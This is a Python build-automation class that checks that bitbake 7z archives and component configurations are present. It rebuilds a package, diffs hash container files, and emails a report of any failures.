class BitbakePostCheck(object): ''' classdocs ''' def __init__(self, baseline): ''' Constructor ''' self.logger = Log().getLogger('BitbakePostCheck') self.baseline = baseline def check_all_7zfiles_exist(self, target_name): bitbake_location = self.config.get("bitbakePath") bitbake_7zname = self.baseline + "-bs10k-" + target_name + ".7z" if not os.path.isfile(os.path.join(bitbake_location, bitbake_7zname)): self.logger.error("7z file {} not exist in {}".format(bitbake_7zname, bitbake_location)) self.mail_content_7zfiles.write("7z file {} not exist in {} \n".format(bitbake_7zname, bitbake_location)) self.is_all_7zfiles_exist = False else: self.all_7zfiles.append(os.path.join(bitbake_location, bitbake_7zname)) def traverse_recipes(self): self.is_all_7zfiles_exist = True self.mail_content_7zfiles = StringIO() self.all_7zfiles = [] for package in self.bitbake_recipes: if package["package_name"] == "enb": for recipe in package["recipes"]: if recipe["type"] == "target": self.check_all_7zfiles_exist(recipe['name'].lower().replace("_", "")) elif recipe["type"] == "source": self.remove_from_scs(recipe['name']) def remove_from_scs(self, sc_name): index = 0 for sc in self.scs: if sc == sc_name: del self.scs[index] break index = index + 1 def check_all_scs_configed(self): self.is_all_scs_configed = True ignore_list = self.config.get("ignoreSC", "").split(",") for sc in ignore_list: self.remove_from_scs(sc) if len(self.scs) > 0: self.is_all_scs_configed = False self.mail_content_scs = "These System Components {} are not configed in bitbake recipes.json".format(self.scs) def mails(self): self.mail_content = StringIO() self.mail_content.write("*This is an automatically generated email. Do not reply.*\n\n\n") self.is_need_mail = False if not self.is_all_7zfiles_exist: self.is_need_mail = True self.mail_content.write("**************************Missing 7z files**************************\n") self.mail_content.writelines(self.mail_content_7zfiles.getvalue()) self.mail_content.write("\n\n") if not self.is_all_scs_configed: self.is_need_mail = True self.mail_content.write("**************************Scs not configed**************************\n") self.mail_content.write(self.mail_content_scs) self.mail_content.write("\n\n") if not self.is_recovered_bitbake: self.is_need_mail = True self.mail_content.write("**************************Recover bitbake**************************\n") self.mail_content.writelines(self.mail_content_recover.getvalue()) self.mail_content.write("\n\n") elif not self.is_bitbake_content_fine: self.is_need_mail = True self.mail_content.write("**************************Recover bitbake**************************\n") self.mail_content.writelines(self.mail_content_recover.getvalue()) self.mail_content.write("\n\n") if self.is_need_mail: mail = Mail(self.config.get("mail_from"), self.config.get("mail_to")) mail.create(self.config.get("mail_subject"), self.mail_content.getvalue()) mail.send() def bitbake_content_check(self): self.is_bitbake_content_fine = True self.mail_content_bitbake_content = StringIO() if self.config.get("bitbakeContentCheck", False): package_path = self.config.get("packagePath", "") if package_path == "": self.logger.warning("packagePath not configed, ignore bitbake content check for {}".format(self.baseline)) return official_hashContainer = os.path.join(package_path, "HashContainer_{}.txt".format(self.baseline)) self.copy_official_hashContainer_to_current_folder(official_hashContainer) self.remove_ignore_lines("HashContainer_{}.txt".format(self.baseline)) current_hashContainer = "lteDo/package/btssm/bts_sw/HashContainer_{}.txt".format(self.baseline) self.remove_ignore_lines(current_hashContainer) result = Shell().execute("diff {} {}".format("HashContainer_{}.txt".format(self.baseline), current_hashContainer), errorOuput=True) if isinstance(result, list) and result[0] != 0: self.is_bitbake_content_fine = False self.mail_content_bitbake_content.write(result[1]) def copy_official_hashContainer_to_current_folder(self, official_path): Shell().execute("cp {} .".format(official_path)) def remove_ignore_lines(self, file): Shell().execute("sed -i '/TargetBD/d' {}".format(file)) def recover_bitbake(self): self.is_recovered_bitbake = True self.mail_content_recover = StringIO() if self.is_all_7zfiles_exist: os.mkdir("recover") os.chdir("recover") self.prepare_workspace() os.chdir("..") def prepare_workspace(self): prepare_script = os.path.join(self.config.get("bbScriptRepo"), "prepare-enb-ws.sh") SVN().export(prepare_script) if os.system("sh prepare-enb-ws.sh --enb {} --src enb".format(self.baseline)) == 0: self.logger.info("Successfully to prepare work space") self.package() else: self.logger.error("Error to recover bitbake with command 'prepare-enb-ws.sh --enb {} --src enb'".format(self.baseline)) self.is_recovered_bitbake = False self.mail_content_recover.write("Error to recover bitbake with below command\n") self.mail_content_recover.write("prepare-enb-ws.sh --enb {} --src enb".format(self.baseline)) def package(self): self.extract_7zfiles() if Shell().execute("source .property && make linsup.core -j24"): self.logger.info("Successfully package with bitbake result") self.bitbake_content_check() else: self.logger.error("Error to package with bitbake result, command is make linsup.core") self.is_recovered_bitbake = False self.mail_content_recover.write("Error to package with bitbake result for package {}\n".format(self.baseline)) self.mail_content_recover.write("Package command is make linsup.core") def extract_7zfiles(self): for file in self.all_7zfiles: Shell().execute("7za x {} -yo'{}'".format(file, "lteDo")) self.logger.info("Extract {} done".format(file)) def start(self): parse_config = ParseConfig(self.baseline) self.bitbake_recipes = parse_config.fetch_bitbake_config() self.config = parse_config.fetch_config() self.scs = parse_config.fetch_sc_from_package_config() self.externals = parse_config.get_externals() self.traverse_recipes() self.check_all_scs_configed() self.recover_bitbake() self.mails()